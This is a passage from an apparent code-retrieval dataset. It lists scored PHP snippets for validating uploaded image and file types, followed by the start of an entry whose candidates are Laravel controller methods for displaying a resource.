array($image->getMediaType()));\n\t\t}\n\t}", "title": "" }, { "docid": "caf3c064d5798108050a90c4958b7099", "score": "0.69653827", "text": "public function isImage()\n {\n return null;\n }", "title": "" }, { "docid": "055867c80463c9d306cf7948254d7b4c", "score": "0.6962135", "text": "public function is_image() {\n\n\t\t// Is the media type set to an image?\n\t\tif ( in_array( $this->media_type, array( 'jpg', 'jpeg', 'gif', 'png' ) ) ) {\n\n\t\t\treturn true;\n\n\t\t}\n\n\t\treturn false;\n\n\t}", "title": "" }, { "docid": "aa54a313a22de82d2da8c6630d44aa69", "score": "0.69616014", "text": "public function isImage()\n {\n $ext = rtAssetToolkit::getExtension($this->getOriginalFilename());\n\n if(in_array($ext, sfConfig::get('app_rt_web_image_extensions', array('gif','jpg','jpeg','png'))))\n {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "7e7f6df3b17cf068eac1b18e5db25cc4", "score": "0.6944108", "text": "function p_is_image( $img_path ) {\n\n // valid image extensions\n $valid_extensions = array( 'jpg', 'png', 'gif' );\n\n // get file info\n $info = pathinfo( $img_path );\n\n // return a test of the extension against our array.\n return in_array( $info['extension'], $valid_extensions );\n \n}", "title": "" }, { "docid": "209a18ec5b20e9425516b8322f39ce52", "score": "0.69430006", "text": "protected function is_image($file)\n {\n if (empty($file['type']))\n return false;\n if (in_array($file['type'], $this->imgTypes))\n return true;\n else\n return false;\n }", "title": "" }, { "docid": "2f211cb8e8578eaa8108afa7278f901c", "score": "0.6932415", "text": "function allowed_filetype(){\n \tif ( ! strpos($this->file_name, '.')){\n \t\t$this->error_msg = 'There is no . in the name of the file';\n \t\treturn FALSE;\n \t}\n\n if ($this->allowed_types == 'img'){\n if ($this->is_image == 1){\n return TRUE;\n }else{\n \t$this->error_msg = 'File is not an image '.$this->file_type;\n \treturn FALSE;\n }\n }else{\n \t$ext = $this->fetch_extension();\n\n \tif ( ! isset($this->allowed_mimes[$ext])){\n \t\t$this->error_msg = 'File extension is not in mime types';\n \t\treturn FALSE;\n \t}else{\n \t\treturn TRUE;\n \t}\n }\n }", "title": "" }, { "docid": "c2c39818bdf36b3adc3138c74bdffdde", "score": "0.69294405", "text": "public function isImage()\n {\n if (in_array($this->getMime(), ['image/gif', 'image/jpeg', 'image/pjpeg', 'image/png'])) {\n return true;\n } else {\n $this->add_log(null, ['filename' => $this->getName(), \"message\" => 13]);\n }\n }", "title": "" }, { "docid": "b99601f315e189647fe062bf9f61f2d7", "score": "0.69091475", "text": "function isImage($ext = '') {\n\t\t\treturn in_array($ext, $this->types);\n\t\t}", "title": "" }, { "docid": "bbb67ed727d9c4e4466b0b6f0cbcb1ed", "score": "0.68185383", "text": "function validate_img($img, $type)\n{\n $valid_ext = array('jpg', 'jpeg', 'png', 'jfif');\n $set_size = ($type == 'thumbnail') ? 500000 : 1000000000;\n $set_width = ($type == 'thumbnail') ? 500 : 2000;\n $set_height = ($type == 'thumbnail') ? 500 : 2000;\n\n //extracting file extension\n $ext = explode('.', $img['name']);\n\n if ($img['size'] > $set_size || $img['error'] == 1 || $img['error'] == 2) { #size\n return 1;\n } elseif ($img['error'] != 0) { #errors\n return 2;\n } elseif (!in_array($ext[count($ext) - 1], $valid_ext)) { #file type\n return 3;\n } elseif (getimagesize($img['tmp_name'])[0] > $set_width || getimagesize($img['tmp_name'])[1] > $set_height) { #dimensions\n return 4;\n }\n return 0; //all good\n}", "title": "" }, { "docid": "406a21339823dbc196bb5dda3d9fd6ce", "score": "0.68013847", "text": "function isImage( $ext = '' ){\n\t\t\treturn in_array($ext, $this->types);\n\t\t}", "title": "" }, { "docid": "b7b01fa2d1164814b2228c78228dbfc0", "score": "0.6790158", "text": "function is_image($filename)\n{\n $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n if (in_array($ext, ['gif', 'jpg', 'jpeg', 'png', 'jpe'])) {\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "15c45dcb2992c2925a5eed8adf576654", "score": "0.67900693", "text": "public function isImage()\n {\n $imagesExtensions = array('gif', 'jpeg', 'jpg', 'png', 'psd', 'bmp', 'tiff', 'tif',\n 'swc', 'iff', 'jpc', 'jp2', 'jpx', 'jb2', 'xbm', 'wbmp');\n\n return in_array($this->getExtension(), $imagesExtensions);\n }", "title": "" }, { "docid": "066951b8701656693b35e91ee1dc736b", "score": "0.6789687", "text": "function IsFileValid($argFiletype)\n\n\t{//echo $argFiletype;die;\n\n\t\t\n\n\t\t$fileType = $argFiletype;\n\n\t\t$image_type_identifiers = array ('application/msword'=>'doc','application/msword'=>'docx','application/txt'=>'txt','application/octet'=>'pdf','application/pdf'=>'pdf','text/plain'=>'txt');\t\n\n\n\n\t\tif (array_key_exists($fileType, $image_type_identifiers)) \n\n\t\t{ \n\n\t\t\t\n\n\t\t\treturn true;\n\n\t\t} \n\n\t\telse \n\n\t\t{\n\n\t\t\treturn false;\n\n\t\t} \n\n\t\t\n\n\t}", "title": "" }, { "docid": "89e8dc8c28291c45795c91acdd472992", "score": "0.67669034", "text": "function _hasOriginalType() {\n\n\t\treturn (strtolower($this->imageExtension) == '.'.$this->outputFormat);\n\t}", "title": "" }, { "docid": "533b32bb34dbe7b5927ce11856c004cb", "score": "0.6766822", "text": "public final function isImage()\n {\n $bResult = in_array($this->getSourceFileExtension(), self::$_allowedImageExtensoins);\n\n return $bResult;\n }", "title": "" }, { "docid": "d88ad1ad9140d0b0f74d9d2e056b44bf", "score": "0.67601305", "text": "function _emimage_custom_url_validate_image_helper($_filename) {\n $_filedata = @getimagesize($_filename);\n\n if($_filedata['mime'] != 'image/jpeg' && $_filedata['mime'] != 'image/gif'\n && $_filedata['mime'] != 'image/png'\n && $_filedata['mime'] != 'image/bmp') {\n// form_set_error(\n// 'name',\n// t('There were problems encountered while processing this image.',\n// array('%name' => ''))\n// );\n return false;\n }\n\n return true;\n}", "title": "" }, { "docid": "eb2741fac1cd911ab11c24b2107fcf45", "score": "0.6746941", "text": "private function CheckForError(){\r\n if(!is_uploaded_file($this->image['tmp_name'])){\r\n $this->error['file'] = 'You must load the file';\r\n return FALSE;\r\n }elseif(!in_array($this->image['type'], $this->allowTypeImage) && !in_array($this->image['type'], $this->allowTypeAudio)){\r\n $this->error['type'] = 'Uncorrect type image';\r\n return FALSE;\r\n }\r\n return TRUE;\r\n }", "title": "" }, { "docid": "f88d3940420629b1d21004772c457e9f", "score": "0.6734411", "text": "function checkType($data, $required = false, $allowedMime = null) {\n $data = $data[\"file\"];\n //File upload stopped by extension\n if (!$required && $data['error'] == 4) {\n $this->Errors[\"checkType\"]['error'] = $data['error'];\n CakeLog::write(\"imageLogs\", __METHOD__ . \" No file was uploaded: \" . Debugger::exportVar($data, $recursion = 1));\n return false;\n }\n\n // Check the MimeType against the array of valid ones specified above\n if (!in_array((strtolower($data['type'])), $allowedMime = $this->allowedMime)) {\n $this->Errors[\"checkType\"]['type'] = $data['type'];\n CakeLog::write(\"imageLogs\", __METHOD__ . \" Uploaded image has rejected Mime Type: \" . $data['type'] . ' ' . Debugger::exportVar($this->data[\"Image\"], $recursion = 1));\n return false;\n }\n\n // Retrieve the MimeType of Image, if none is returned, it's invalid\n if (!$mime_type = $this->_getImageMimeType($data)) {\n $this->Errors[\"checkType\"]['type'] = $mime_type;\n CakeLog::write(\"imageLogs\", __METHOD__ . \" Uploaded file does not have a mime-type \" . Debugger::exportVar($data, $recursion = 1));\n return false;\n }\n\n // Check the MimeType against the array of valid ones specified above\n //if(empty($allowedMime)){$allowedMime=$this->allowedMime;}\n if (!in_array((strtoupper($mime_type)), $this->verify['format'])) {\n $this->Errors[\"checkType\"]['type'] = $mime_type; //$this->Errors[\"checkType\"]['mime_type']=$mime_type;\n CakeLog::write(\"imageLogs\", __METHOD__ . \" Uploaded image has rejected Mime Type: \" . $data['type'] . ' ' . Debugger::exportVar($this->data[\"Image\"], $recursion = 1));\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "f7048d81f56c47ae5804218655f05def", "score": "0.67342204", "text": "final protected static function _validImage(\\stdClass $image): Bool\n\t{\n\t\t$valid = true;\n\t\tforeach (static::$_img_props as $prop) {\n\t\t\tif (! isset($image->{$prop})) {\n\t\t\t\ttrigger_error(\"Missing {$prop} attribute\");\n\t\t\t\t$valid = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $valid;\n\t}", "title": "" }, { "docid": "a624b26da2c94a53f49e9a0d4699dcfe", "score": "0.6730551", "text": "function _isImage()\n {\n if (strpos ($this->_currentFile['type'], 'image/') === 0) {\n $isImage = true;\n } else {\n $isImage = false;\n }\n if ($this->_debug) {\n $msg = 'File, ' . $this->_currentFile['name'] . ' is of mime type '\n . $this->_currentFile['type'];\n if (!$isImage) {\n $msg .= ' and is NOT an image file.';\n } else {\n $msg .= ' and IS an image file.';\n }\n $this->_addDebugMsg($msg);\n }\n\n return $isImage;\n }", "title": "" }, { "docid": "4fa6ca9a9cbce1e58c97f82c1b106f06", "score": "0.6727232", "text": "public function getIsImage()\n {\n return in_array($this->extension, static::imageExtensions());\n }", "title": "" }, { "docid": "0ce2685018d43f9f1fa3d6b09ca8b036", "score": "0.67116725", "text": "public function validate($input) {\n\t\tif(!filter_var($input, FILTER_SANITIZE_URL))\n\t\t\treturn false;\n\t\tif(!@exif_imagetype($input))\n\t\t\treturn false;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "38a355ad3525cf01f1f89a2ba7b18ace", "score": "0.6710586", "text": "private function checkImage($filename)\r\n\t{\r\n\t\t$spl = new SplFileInfo($filename);\r\n\t\t// Suported extensions of images\r\n\t\t$image = array(\"bmp\", \"jpg\", \"jpeg\", \"png\", \"svg\", \"ico\");\r\n\t\t// Make file viewable if image\r\n\t\tif (in_array($spl->getExtension(), $image))\r\n\t\t\treturn true;\r\n\t\t// Make unviewable if not image\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}", "title": "" }, { "docid": "28b35db9c689b259490bdd88e976011a", "score": "0.668998", "text": "function checkType()\n\t{\n\t\t$types = $this->allowedTypes;\n\t\t$file = $this->fileName;\n\t\t\n\t\tif ($types[0] == '*') {\n\t\t\t// All types are permitted\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\tforeach ($types as $type) {\n\t\t\tif (eregi($type.'$',$file)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\t$this->setErrorMessage(UPLOAD_ERROR_TYPE);\n\t\treturn false;\n\t}", "title": "" }, { "docid": "3e61e9190dc0154e5fe8a80ca40fa8a4", "score": "0.6688031", "text": "function is_img($file)\r\n\t{\r\n\t\tif(@getimagesize($file) !== FALSE)\r\n\t\t{\r\n\t\t\tif (($file = @fopen($file, 'rb')) === FALSE) // \"b\" to force binary\r\n\t\t\t\t{\r\n\t\t\t\t\treturn FALSE; // Couldn't open the file, return FALSE\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$opening_bytes = fread($file, 256);\r\n\t\t\t\tfclose($file);\r\n\r\n\t\t\t\t// These are known to throw IE into mime-type detection chaos\r\n\t\t\t\t// <a, <body, <head, <html, <img, <plaintext, <pre, <script, <table, <title\r\n\t\t\t\t// title is basically just in SVG, but we filter it anyhow\r\n\r\n\t\t\t\tif ( ! preg_match('/<(a|body|head|html|img|plaintext|pre|script|table|title)[\\s>]/i', $opening_bytes))\r\n\t\t\t\t{\r\n\t\t\t\t\treturn TRUE; // its an image, no \"triggers\" detected in the first 256 bytes, we're good\r\n\t\t\t\t}\r\n\t\t}\r\n\t\treturn FALSE;\r\n\t}", "title": "" }, { "docid": "41609a5132d53954ba1c647c7302688e", "score": "0.6674143", "text": "function is_valid_type( $file )\n\t{\t\n\t\t/* Build the media cache, if necessary */\n\t\tif( ! $this->ipsclass->media_type_cache )\n\t\t{\n\t\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'gallery_media_types' ) );\n \t $this->ipsclass->DB->simple_exec();\n\n \twhile( $j = $this->ipsclass->DB->fetch_row() )\n\t {\n\t\t\t\t$exts = explode( \",\", $j['extension'] );\n\t\t\t\n\t\t\t\tforeach( $exts as $ext )\n\t\t\t\t{\n\t\t\t\t\t$this->ipsclass->media_type_cache[] = $ext;\n\t\t\t\t}\n \t}\n }\n\t\t/* Check the file */\n $type = \".\" . strtolower( array_pop( explode( \".\", $file ) ) );\n\n\t\treturn in_array( $type, $this->ipsclass->media_type_cache );\n\t}", "title": "" }, { "docid": "13f6c10c58fe8d649a2b8083d7f52f19", "score": "0.6654426", "text": "function isImage($filename){\n\t\t\t$size = @getimagesize($filename);\n\t\t\tif($size[2]==2 or $size[2]==3){\n\t\t\t\treturn $size;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "a85a35c3210eca3938a27bfd77029f48", "score": "0.6647012", "text": "function is_image($mimeType)\n {\n return RvMedia::isImage($mimeType);\n }", "title": "" }, { "docid": "6b1d222e30a5901f9be35b351bc642db", "score": "0.6639224", "text": "public function getIsImageAttribute()\n {\n return strpos($this->mimetype, 'image/') !== false;\n }", "title": "" }, { "docid": "672d441eeb9339a6b48618d0add4574e", "score": "0.66283983", "text": "public function hasImage(): bool;", "title": "" }, { "docid": "80df823c2cc3420fa6545fcc2c077135", "score": "0.66222167", "text": "public function is_extension_valid($image_extension)\n {\n }", "title": "" }, { "docid": "c1310ae075aeeda4df55fdfc56c7b2cf", "score": "0.6612758", "text": "public function valid($file): bool\n {\n return $this->type($file, ['jpeg', 'png', 'gif']);\n }", "title": "" }, { "docid": "11745dd954b840c67608913b6aa31d5e", "score": "0.6595642", "text": "function logoImageValidation($logoname)\n\t{\n\t\t## Get file extension\n\t\t$ext = $this->getFileExt($logoname);\n\t\tif($ext)\n\t\t{\n\t\t\t## To check file type\n\t\t\tif(($ext!=\"png\") && ($ext!=\"gif\") && ($ext!=\"jpeg\") && ($ext!=\"jpg\"))\n\t\t\t{\n\t\t\t\tJError::raiseWarning(500, JText::_('File Extensions : Allowed Extensions for image file [ jpg , jpeg , png ] only'));\n\t\t\t\treturn false;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "f2efba7dc7edfc8e8618d940626c4d74", "score": "0.65809137", "text": "function is_image_valid($file_name)\n{\n global $ARR_VALID_IMG_EXTS;\n $ext = file_ext($file_name);\n if (in_array($ext, $ARR_VALID_IMG_EXTS)) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "cbdc1a5d3f383ded643056bb71d634a2", "score": "0.65800744", "text": "private static function _fileIsImage($fileType){\n switch($fileType){\n case 'image/jpeg':\n case 'image/gif':\n case 'image/png':\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "4341a634eba692f7891609aa5119c12d", "score": "0.65800196", "text": "function ValidatePicture($picture){\n\t\t$picture=current($picture);\n\t\tif(!empty($picture['name'])){\n\t\t\t$array=array('jpeg','.jpg','.gif','.png');\n\t\t\t$pictureType=substr($picture['name'],strlen($picture['name'])-4);\n\t\t\tif(in_array(strtolower($pictureType),$array))\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}else {return true;}\n\n\t}", "title": "" }, { "docid": "46f1f3e15c4aee5ba35b6d782630318d", "score": "0.6551944", "text": "function check($path, $type, $size) {\n if (is_uploaded_file($path)) {\n //check whether this file is a png image\n if ($type == 'image/png') {\n //check whether the file is bigger than 2M\n if ($size < 2 * 1024 * 1024) {\n return true;\n } else {\n return false;\n }\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "7bedda5cb2a300806ffae4619f00656f", "score": "0.6546413", "text": "public function jpgIsAnImage() {\n\t\t$this->fileDomainModelInstance->setFile('fileadmin/fo.jpg');\n\t\t$this->assertEquals(TRUE, $this->fileDomainModelInstance->getIsImageFile());\n\t}", "title": "" }, { "docid": "1d41c7785a52b32ab66dc91b36020fcd", "score": "0.6546335", "text": "function check_filetype($ftype) {\r\n switch($ftype) {\r\n case \"image/gif\":\r\n return true;\r\n case \"image/jpeg\":\r\n return true;\r\n case \"image/pjpeg\":\r\n return true;\r\n case \"image/png\":\r\n return true;\r\n case \"application/pdf\":\r\n return true;\r\n case \"application/msword\":\r\n return true;\r\n case \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\":\r\n return true;\r\n default:\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "0b43434733e261f432cb835f70dd287c", "score": "0.6536103", "text": "public function checkImageDimensions()\n\t{\n\t\t//Get image diamentions\n\t\t$imageFileSize = $this->getImageFileSize();\n\n\t\t//Check file size compared to rules\n\t\tif($imageFileSize >= $this->minSize and $imageFileSize <= $this->maxSize){\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "cf21de0a030c4d67cc07c4146807c67c", "score": "0.65028596", "text": "function not_image_file($imageFileType)\n{\n if (\n $imageFileType != \"jpg\" && $imageFileType != \"png\" && $imageFileType != \"jpeg\"\n && $imageFileType != \"gif\"\n ) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "e2c7f92f5ddc01ccb3b6117ef7311ba3", "score": "0.6500708", "text": "public function checkType(): bool\n {\n $uploadedFileMimeType = $this->fileRepository->getUploadedFileMimeType();\n $originalFileMimeType = $this->fileRepository->getFileMimeTypes();\n\n if (in_array($uploadedFileMimeType, $originalFileMimeType)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "62bcffe157b713c60b654446e533249a", "score": "0.6500263", "text": "public function testIsStringImageFalse(): void\n {\n $this->assertFalse(ImageUtils::isImageString('string'));\n }", "title": "" }, { "docid": "bca7a4fde8d2f8057074ad304da983a8", "score": "0.64788496", "text": "private function validate_type(){\n\t\tforeach($this->_types as $it){\n\t\t\tif($it == $this->_filetype)\n\t\t\t\treturn 1;\n\t\t}\n\t\t$this->_filetype = null;\n\t\t$this->set_error(\"Type incorrect.\");\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "378f495f8ca4a0008d2a7ae6c423e9d4", "score": "0.6477447", "text": "function is_picture(){\t\nreturn (com() == \"image\");\t\n}", "title": "" }, { "docid": "b049d1dd80769c7266eab66fa2a5f1ba", "score": "0.6469642", "text": "function is_image($filename){\n $filename = strtolower($filename) ;\n $ext = split(\"[/\\\\.]\", $filename) ;\n $n = count($ext)-1;\n $ext = $ext[$n];\n\n if($ext == \"jpg\" || $ext == \"JPG\" || $ext == \"jpeg\" || $ext == \"JPEG\" || $ext == \"gif\" || $ext == \"GIF\" || $ext == \"png\" || $ext == \"PNG\") {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "1d85e2a3996b7092b31b87a8c2ee6cde", "score": "0.6462122", "text": "public function is_img_file ($value) {\n return is_file($value) && strstr(mime_content_type($value), 'image/') && !strstr(mime_content_type($value), 'bmp');\n }", "title": "" }, { "docid": "80f09cd2b3ea01add6288c2d19099b40", "score": "0.6457077", "text": "private static function validateSingleProjectImage(Array $image){\n $is_image_valid = false;\n $file_name = $image[\"name\"];\n\n if( !empty($image[\"name\"]) ){\n //check the size\n if( $image[\"size\"] <= DEFAULT_IMAGE_SIZE ){\n //check file type\n if( preg_match(\"/(jpe?g|png|gif)$/i\", $image[\"type\"]) ){\n $is_image_valid = true;\n }\n }\n }\n return ($is_image_valid ? $is_image_valid : die(\n output_err_message(\"File: {$file_name} is invalid\")\n ));\n }", "title": "" }, { "docid": "f1002de57e2af280e79a378b7f5a6eff", "score": "0.6425543", "text": "public function testIsStringImageTrue(): void\n {\n $this->assertTrue(ImageUtils::isImageString(self::$imageSource));\n }", "title": "" }, { "docid": "b055f16f7bc77e37f714d1a7721543e5", "score": "0.6424858", "text": "private function validate() {\n\n if ($this->type != 'image/jpeg' && $this->type != 'image/gif' && $this->type != 'image/png') {\n $this->message = 'Неразрешенный формат файла!';\n $this->uploaded = false;\n\n return false;\n }\n if ($this->size > $this->maxFileSize) {\n $this->message = 'Файл слишком большой!';\n $this->uploaded = false;\n\n return false;\n }\n $size = getimagesize($this->tmp);\n if ($size[0] < $this->minImageSize || $size[1] < $this->minImageSize) {\n $this->message = 'Файл слишком маленький!';\n $this->uploaded = false;\n\n return false;\n } else {\n $this->uploaded = true;\n\n return true;\n }\n }", "title": "" }, { "docid": "d4f204967e2ab1b260ed935b56951e0f", "score": "0.64211714", "text": "abstract function checkType();", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "e5030f35c2f66e2ba1e6d060e877d5cf", "score": "0.0", "text": "public function show($id)\n {\n $data['pageTitle']='Show Ground Handling Details';\n $data['ground_handling']=GroundHandling::findOrFail($id);\n $user_id = Auth::user()->role_id;\n //print_r($user_id); exit();\n $signature = UserSignature::where('user_id',$user_id)->first();\n if(isset($signature)) {\n $data['signature'] = $signature->image;\n }\n\n $data['data_image'] = GroundHandlingImage::where('ground_handling_id',$id)->get();\n\n return view('slm::ground_handling.view',$data);\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "9b47c918056858ef14b85bd8a41414c1", "score": "0.7020616", "text": "public function showAction(Humanresource $humanresource)\n {\n $deleteForm = $this->createDeleteForm($humanresource);\n\n return $this->render('humanresource/show.html.twig', array(\n 'humanresource' => $humanresource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "aef322cbfb19d79a77dc0e74e6e7bc96", "score": "0.67904377", "text": "public function showAction()\n {\n $config = $this->getConfiguration();\n\n $view = $this\n ->view()\n ->setTemplate($config->getTemplate('show.html'))\n ->setTemplateVar($config->getResourceName())\n ->setData($this->findOr404())\n ;\n\n return $this->handleView($view);\n }", "title": "" }, { "docid": "fb41f4ccc0d7db950d06ac1a19456fa2", "score": "0.67305946", "text": "public function actionView() {\n $id = isset($_GET['id']) ? (int)($_GET['id']) : 0;\n $this->menu=array_merge($this->menu, \n array(\n array('label'=>Yii::t('cms','Update this Resource'), 'url'=>array('update','id'=>$id),'linkOptions'=>array('class'=>'button')),\n array('label'=>Yii::t('cms','View this Resource'), 'url'=>array('view','id'=>$id),'linkOptions'=>array('class'=>'button'))\n )\n );\n $model_name = \"Resource\";\n $id = isset($_GET['id']) ? (int)$_GET['id'] : 0;\n $model = GxcHelpers::loadDetailModel($model_name, $id);\n $this->render('view', array(\n \"model\" => $model\n ));\n }", "title": "" }, { "docid": "ab30516f6991bb772fd61ae9fec2439c", "score": "0.6560534", "text": "public function show(project_resource $project_resource)\n {\n //\n }", "title": "" }, { "docid": "243cb80d371f620d93edb23fd4a5ec6c", "score": "0.65553087", "text": "public function showAction()\n {\n \ttry {\n \t\t$requestId = $this->getRequest()->getParam('id');\n \t\t$this->view->entity = $this->_service->findById($requestId);\n\n \t} catch(Svs_Service_Exception $e){\n \t\tthrow $e;\n \t}\n\n\t\t$this->view->partialName = sprintf(\n\t\t\t'partials/%s-show.phtml', $this->_controller\n\t\t);\n\t\t$this->_viewRenderer->render($this->_viewFolder . '/show', null, true);\n }", "title": "" }, { "docid": "6ad7532d4e18e95bb51cb89fd46c6f3e", "score": "0.64986944", "text": "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "title": "" }, { "docid": "cfa7e3b5483e85906491eaedb4b1f7af", "score": "0.6410644", "text": "abstract public function render($resource_name);", "title": "" }, { "docid": "99db7dc2adb2a8f31daaf5823ce99e3e", "score": "0.63273495", "text": "public function testDisplayResourceViaShowMethod()\n\t{\n\t\t$this->stub->show();\n\n\t\t$refl = new \\ReflectionObject($this->stub);\n\t\t$attributes = $refl->getProperty('attributes');\n\t\t$attributes->setAccessible(true);\n\n\t\t$attrib = $attributes->getValue($this->stub);\n\n\t\t$this->assertTrue($attrib['visible']);\n\t}", "title": "" }, { "docid": "1b1f2555033be5c6cba96c89cae71c6c", "score": "0.62645876", "text": "public function show(Role_resource $role_resource)\n {\n //\n }", "title": "" }, { "docid": "a5d61876efad2a8ab6e7897e60e10aa5", "score": "0.6230868", "text": "public function show($id)\n {\n // Showing each items\n // Use resource controller\n }", "title": "" }, { "docid": "37fd3e719ea9cbc59455081cf591c629", "score": "0.61330074", "text": "public function serve($resource)\n { \n $resource = ($resource !== '') ? $resource : $this->defaultResource;\n $file = $this->viewsLocation.$resource;\n\n if (!file_exists($file))\n {\n throw new \\Exception(\"The {$resource} was not found in {$this->viewsLocation} directory!\");\n }\n\n $loader = new \\Twig_Loader_Filesystem(VIEW_PATH);\n $twig = new \\Twig_Environment($loader, array(\n 'cache' => Config::get('app.debug') ? false : CACHE_PATH.'/resource'\n ));\n\n $template = $twig->loadTemplate($resource);\n $this->render($template->display(Config::all()));\n }", "title": "" }, { "docid": "cca5b6bb346929960196841d06bdbc25", "score": "0.6132742", "text": "protected function callView($resource)\n {\n $collection = $this->getTableName($resource);\n $modelName = $this->getModelName($resource);\n\n if ($this->confirm(\"Do you want me to create views for this $modelName resource? [yes|no]\"))\n {\n foreach(['index', 'show', 'create', 'edit'] as $viewName)\n {\n $viewName = \"{$collection}.{$viewName}\";\n\n $this->call('generate:view', compact('viewName'));\n }\n }\n }", "title": "" }, { "docid": "ae6dfcef42246fa0bc047caa2a2e6abf", "score": "0.61027944", "text": "protected function callView($resource)\n\t{\n\t\t$collection = $this->getTableName($resource);\n\t\t$modelName = $this->getModelName($resource);\n\t\t$controllerName = $this->getControllerName($resource);\n\n\t\tif ($this->confirm(\"Do you want me to create views for this $modelName resource? [yes|no]\"))\n\t\t{\n\t\t\tforeach(['index', 'show', 'create', 'edit', 'form'] as $viewName)\n\t\t\t{\n\t\t\t\t$this->call('generate:view', [\n\t\t\t\t\t'viewName' => \"{$collection}.{$viewName}\",\n\t\t\t\t\t'--templatePath' => Config::get(\"generators::config.scaffold_view_\" . $viewName . \"_template_path\"),\n\t\t\t\t\t'controllerName' => $controllerName\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b39bdad40da5bd2a2191db02238d9733", "score": "0.6039017", "text": "public function show(Resource $resource)\n {\n\n // dd(TvValue::where('tv_id', 1)->with('tv')->get()->toArray());\n\n return new ResourceResource($resource);\n\n // return new ResourceResource(\n // Resource::with(['tvValues.tv'])->first()\n // );\n\n\n // return new ResourceResource(\n // Resource::with(['template.tvs', 'template.tvs.value' => function ($q) use ($resource) {\n // $q->where('resource_id', $resource->id); //only one value per tv/resource\n // }])->first()\n // );\n }", "title": "" }, { "docid": "152bd291ac464c8a798a231a537e9077", "score": "0.60048014", "text": "public function showOneResourceAction($slug) {\n $em = $this->getDoctrine()->getEntityManager();\n //get post repo\n $postRepo = $em->getRepository('ObjectsInternJumpBundle:Post');\n\n //Get post\n $post = $postRepo->findOneBy(array('slug' => $slug));\n\n\n return $this->render('ObjectsInternJumpBundle:Internjump:showPost.html.twig', array(\n 'post' => $post,\n ));\n }", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "ddc28327288006b3d29c6bdc8761ca44", "score": "0.598783", "text": "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "title": "" }, { "docid": "3fc6717f13f13fb78e83472976fc5aa9", "score": "0.59865093", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n );\n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Zf1_Model_Item i')\n ->leftJoin('i.Zf1_Model_Country c')\n ->leftJoin('i.Zf1_Model_Grade g')\n ->leftJoin('i.Zf1_Model_Type t')\n ->where('i.RecordID = ?', $input->id);\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->item = $result[0];\n $this->view->images = array();\n $config = $this->getInvokeArg('bootstrap')->getOption('uploads');\n foreach (glob(\"{$config['uploadPath']}/{$this->view->item['RecordID']}_*\") as $file) {\n $this->view->images[] = basename($file);\n }\n $configs = $this->getInvokeArg('bootstrap')->getOption('configs');\n $localConfig = new Zend_Config_Ini($configs['localConfigPath']);\n $this->view->seller = $localConfig->user->displaySellerInfo;\n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input');\n }\n }", "title": "" }, { "docid": "062227a9dd94ad374ca6ff7a63acf1a7", "score": "0.59584326", "text": "public function show(Dispenser $dispenser)\n {\n return ( new DispenserResource( $dispenser ) );\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "daadc4514b755545abb9a973d9012f93", "score": "0.5950686", "text": "public function show(ShowRequest $request, Resource $resource)\n {\n $lastRecord = $resource->records()->orderBy('created_at','DESC')->first();\n\n $lastRecord = $lastRecord ? $lastRecord->created_at->diffForHumans() : 'Nothing recorded';\n\n $cacheKey = \"records.{$resource->id}.\".$request->startDate().\"-\".$request->endDate();\n\n $resource = Cache::remember($cacheKey, config('records.cache_time'), function () use ($request, $resource) {\n return 